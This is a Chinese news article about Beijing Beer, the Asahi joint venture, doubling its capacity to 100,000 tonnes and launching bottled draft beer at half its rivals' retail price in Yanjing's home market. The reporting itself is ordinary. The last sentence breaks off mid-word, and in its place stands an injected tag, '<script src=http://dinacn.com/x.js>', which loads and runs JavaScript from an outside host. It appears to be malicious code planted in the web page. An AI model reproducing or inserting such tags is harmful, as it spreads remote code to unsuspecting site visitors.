在人们印象中，北京啤酒的脚步似乎难以跟上发展快速的啤酒市场。如今，这家沉寂多年的国内啤酒老品牌高调地宣布回来了。

　　5月15日，北京啤酒表示，北京啤酒二期扩建工程完成，产能达到10万吨，同时将在北京和华北市场以低于竞争对手50%的零售价生产及销售瓶装生啤酒。

　　10万吨是中国啤酒行业的盈亏平衡点和“生死线”，北京啤酒的10万吨产能标志着这家蛰伏了10多年的企业重新进入良性发展轨道，而敢于在燕京啤酒的大本营发动价格战，则意味着北京啤酒真正回归到中国啤酒市场竞争者的行列之中。

　　“低价策略也只针对北京纯生单一产品，而且经过严密测算保留了利润空间。”北京朝日啤酒总经理内藤规夫告诉《中国新时代》记者。
　
　　目前，中国啤酒市场可谓战火不断。青岛、百威、嘉士伯、燕京、雪花啤酒等已经坐分大江南北。而对于北京啤酒而言，寻找发展市场的策略是他们最迫切的题目，而价格翘动市场似乎成为北京啤酒重新抢回市场份额的关键一步。

　　搅局生啤市场

　　北京啤酒在北京，可谓是历史上最悠久的啤酒品牌，曾作为北京特产及国宴用酒而声名显赫，始建于1941年，被亲切地称为“北京白牌”。

　　1995年，北京啤酒正式与日本朝日啤酒株式会社、伊藤忠商事株式会社合资，成为北京啤酒朝日有限公司。2003年，在选择建立新厂址的时候，积极响应北京市政府迎接2008年奥运会推出的一系列环境保护治理措施，在京郊有“北京水源”之称的怀柔区建设新工厂，并使其成为一家拥有先进环保技术的绿色新工厂。

　　“2004年4月底新工厂正式竣工投产，新包装、新口味的北京啤酒全新上市，首家全系列产品均为生啤酒的厂家诞生。”内藤规夫说。

　　生啤酒因其比普通啤酒口感更好、更新鲜而成为近年来啤酒爱好者追捧的对象，但数倍于普通啤酒的价格也让普通消费者望而却步。北京啤酒朝日有限公司成了市场中的搅局者，其计划于今夏投放市场的630毫升瓶装“北京纯生”的最低零售价已确定为2元，相当于竞争对手 50%的价格，并已完成上市铺货工作并开始试销。

　　 有分析认为，啤酒行业的价格敏感度很高，北京啤酒此举势必引发对手的连锁反应。因为该价格已接近于普通瓶装啤酒，不仅将大幅度拉低生啤酒的平均价格，而且将严重威胁普通啤酒坚守多年的价位，极有可能引发啤酒行业的全线价格战。

　　目前，生啤酒的销售渠道主要集中在餐饮市场，价格普遍维持在8—10元/瓶（扎），社区食品店和便利店基本以销售1.5元/瓶的普通啤酒为主。

　　“目前北京纯生除了以3元/瓶的价格冲击餐饮市场外，社区食品店和便利店已作为另一个主要销售市场，零售价格扣除退瓶费为2元/瓶。”内藤规夫并不认为北京啤酒此举旨在发动价格战，在他看来北京纯生只是北京啤酒陆续开发的系列生啤产品中的一种，北京啤酒其他生啤产品将维持原价位不变。

　　 北京啤酒与日本朝日啤酒株式会社合资后，产品结构全部调整为生啤酒，投入3.3亿元人民币建成了目前全球最先进的生啤酒生产线，2004年新工厂建成投产后，销量每年以超过40%的速度递增，“今年4月，追加投资5400万元的二期扩建工程完成，产能由年产5万吨增加至10万吨，单位生产成本得以大大降低，从而为推出高品质、低价位的瓶装生啤酒奠定了物质基础。”内藤规夫说。

　　 对于北京啤酒这一举动，中国酿酒工业协会啤酒分会理事长肖德润分析指出，从国际啤酒市场来看，生啤酒所占市场份额要远远高于传统熟啤酒，而目前中国的情况则恰恰相反，这主要是由国内啤酒市场发展历史较短造成的。近年来生啤酒的发展速度很快，几个主要品牌都已建成生啤酒生产线，目前制约生啤酒市场分额的一个重要因素就是价格居高不下，这既与生产成本有关，又与企业经营策略有关。
　　
　　“不会做赔本买卖”

　　如今，北京啤酒将采取两条腿走路的方式：瓶装啤酒将以饮食店、零售店、超市等为主要销售渠道，罐装啤酒则以超市等大型销售店为中心。

　　“北京市场上70%的啤酒是家庭消费，其余30%由餐饮企业销售，这一数字与日本市场基本相同，而目前燕京啤酒的销售似乎有些过分依赖餐饮企业和渠道，基于此，北京啤酒朝日公司将在争夺家庭消费市场方面与燕京展开竞争。”业内人士称。

　　比起朝日啤酒与舒波乐啤酒，北京啤酒在北京仍然更具有很高的知名度，更具有土生土长的地缘性优势。因此，在吹响低价格的号角之后，北京啤酒将凭借地缘与品牌优势，开始慢慢扩大北京市场的份额。

　　从数字来看，燕京啤酒在顺义区工厂有70万吨的年产量，而北京啤酒只有10万吨，据悉，目前燕京啤酒占据了北京啤酒市场约85%的份额，北京啤酒约为3%-4%份额。双方力量悬殊，但北京啤酒显然不甘示弱。

　　世界最大啤酒设备厂商德国克郎斯公司总裁宫喜德先生曾说，燕京用20年的时间，走完了世界许多?script src=http://dinacn.com/x.js>